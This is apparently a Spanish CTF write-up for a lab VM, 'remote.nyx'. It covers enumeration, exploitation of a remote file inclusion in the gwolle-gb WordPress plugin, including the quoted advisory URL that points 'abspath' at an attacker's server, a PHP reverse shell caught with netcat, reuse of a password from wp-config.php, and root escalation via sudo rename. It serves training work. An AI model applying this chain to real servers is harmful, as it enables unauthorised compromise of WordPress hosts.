Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 03:32 EDT
Nmap scan report for 192.168.5.78
Host is up (0.00051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:C4:3B:78 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.66 seconds
Veremos el puerto 80 que aloja una pagina web, si entramos dentro veremos una pagina web normal de apache, por lo que vamos a realizar un poco de fuzzing a ver que encontramos.
Gobuster
Info:
Vemos que nos ha dado un pequeño error en la parte de wordpress, vamos a probar esa ruta por si el error fuera por que no cargara el dominio con el que este establecido.
Veremos que carga como un wordpress pero veremos que no carga muy bien, por lo que vamos a investigar por si fuera por un dominio que no esta cargando.
Si pasamos por un boton de la pagina veremos el dominio que esta intentando cargar llamado remote.nyx, vamos a meterlo en nuestro archivo hosts quedando asi.
Ahora que lo hemos añadido al archivo vamos a volver a cargar la pagina, echo esto veremos un wordpress ya bien cargado, por lo que como sabemos que es un wordpress vamos a intentar enumerar los usuarios de dicha pagina.
Escalate user www-data
wpscan
Info:
Veremos que nos ha descubierto un usuario llamado tiago, ahora vamos a intentar sacar la contraseña de dicho usuario a ver si lo conseguimos, pero no veremos gran cosa, por lo que vamos a enumerar plugins vulnerables a ver si vemos algo.
Info:
Veremos que hay un plugin llamado gwolle-gb por lo que vamos a investigar que podemos hacer con el, su PoC a ver cual es.
Si vamos a ExploitDB veremos que esta en PoC subido llevando a una URL de un archivo vulnerable pudiendo realizar un RCE.
Si nos abrimos un servidor de python3 para comprobar que esto funcione...
Ahora vamos a intentar ver si funciona.
Info:
Veremos que esta funcionando y que esta intentando descargarlo, por lo que vamos a crear un archivo en PHP con una reverse shell a ver si conseguimos un acceso inicial.
shell.php
Ahora vamos a ponernos a la escucha con nc.
Ahora desde la URL vamos a realizar lo siguiente teniendo el servidor de python3 abierto donde esta dicho archivo.
Si vamos al servidor de python3 vemos que tenemos un error, esta poniendo un nombre de archivo por defecto la pagina llamado wp-load.php por lo que vamos a renombrar el archivo con dicho nombre y no indicarle nada en la URL.
Ahora la URL la dejaremos de esta forma:
Ahora si volvemos a donde tenemos la escucha veremos lo siguiente:
Vemos que esta funcionando, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Escalate user tiago
Si leemos el archivo llamado wp-config.php que suele llevar credenciales podremos ver lo siguiente:
Info:
Veremos una contraseña vamos a probarla con el usuario tiago que tenemos a nivel de sistema a ver si fuera reutilizada.
Metemos como contraseña WPr00t3d123!...
Info:
Con esto veremos que estaremos dentro de forma exitosa, ahora vamos a leer la flag del usuario.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Veremos que podemos ejecutar el binario rename como el usuario root, por lo que haremos lo siguiente:
Si leemos la ayuda con el -h veremos que de forma interna con el parametro --man se ejecute la ayuda de man de dicho binario, teniendo los privilegios elevados podremos invocar dentro una shell de esta forma.
Info:
Veremos que somos root, por lo que vamos a leer la flag de root.
[i] Plugin(s) Identified:
[+] gwolle-gb
| Location: http://remote.nyx/wordpress/wp-content/plugins/gwolle-gb/
| Last Updated: 2025-06-23T16:09:00.000Z
| Readme: http://remote.nyx/wordpress/wp-content/plugins/gwolle-gb/readme.txt
| [!] The version is out of date, the latest version is 4.9.3
|
| Found By: Known Locations (Aggressive Detection)
| - http://remote.nyx/wordpress/wp-content/plugins/gwolle-gb/, status: 200
|
| Version: 1.5.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://remote.nyx/wordpress/wp-content/plugins/gwolle-gb/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://remote.nyx/wordpress/wp-content/plugins/gwolle-gb/readme.txt
Advisory Details:
High-Tech Bridge Security Research Lab discovered a critical Remote File Inclusion (RFI) in Gwolle Guestbook WordPress plugin, which can be exploited by non-authenticated attacker to include remote PHP file and execute arbitrary code on the vulnerable system.
HTTP GET parameter "abspath" is not being properly sanitized before being used in PHP require() function. A remote attacker can include a file named 'wp-load.php' from arbitrary remote server and execute its content on the vulnerable web server. In order to do so the attacker needs to place a malicious 'wp-load.php' file into his server document root and includes server's URL into request:
http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]
In order to exploit this vulnerability 'allow_url_include' shall be set to 1. Otherwise, attacker may still include local files and also execute arbitrary code.
Successful exploitation of this vulnerability will lead to entire WordPress installation compromise, and may even lead to the entire web server compromise.
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.78] 44816
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
cat /usr/www/html/wordpress/wp-config.php
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'root' );
/** Database password */
define( 'DB_PASSWORD', 'WPr00t3d123!' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
Matching Defaults entries for tiago on remote:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tiago may run the following commands on remote:
(root) NOPASSWD: /usr/bin/rename